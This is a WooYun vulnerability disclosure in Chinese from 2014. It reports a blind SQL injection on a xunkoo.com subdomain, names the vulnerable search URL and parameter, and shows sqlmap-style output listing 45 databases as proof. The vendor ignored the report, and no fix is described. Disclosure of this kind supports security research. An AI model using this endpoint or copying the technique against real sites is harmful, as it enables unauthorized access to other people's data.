当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062451

漏洞标题:讯酷网子站SQL盲注漏洞

相关厂商:讯酷网

漏洞作者: 路人甲

提交时间:2014-05-27 15:37

修复时间:2014-07-11 15:37

公开时间:2014-07-11 15:37

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-27: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

SQL注入漏洞,可以垮裤

详细说明:

http://t.xunkoo.com/home/search?w=%E6%97%85%E6%B8%B8 注入点

漏洞证明:

available databases [45]:
[*] AdManage
[*] AdSystem
[*] bbs
[*] jc_db
[*] JcYs
[*] master
[*] model
[*] msdb
[*] new_xk_bbs
[*] new_xk_group
[*] new_xk_hd
[*] new_xk_job
[*] new_xk_school
[*] new_xk_space
[*] new_xk_Tuan
[*] new_xk_ucenter
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] ty_db
[*] xk_activitygsds
[*] xk_activityqrj
[*] xk_activityqsx
[*] xk_activitysjpx
[*] xk_activty
[*] xk_Ad
[*] xk_Advert
[*] xk_cxxy
[*] xk_dh
[*] xk_gy
[*] xk_jxw
[*] xk_LabelDB
[*] xk_linjiaoshiye
[*] xk_ly
[*] xk_media
[*] xk_MobileMall
[*] xk_NewJob
[*] xk_OrderMeals
[*] xk_PcClient
[*] xk_PrintCloud
[*] xk_shuju
[*] xk_sjgs
[*] xk_topic
[*] xk_train
[*] xk_YJob

修复方案:

你懂的

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝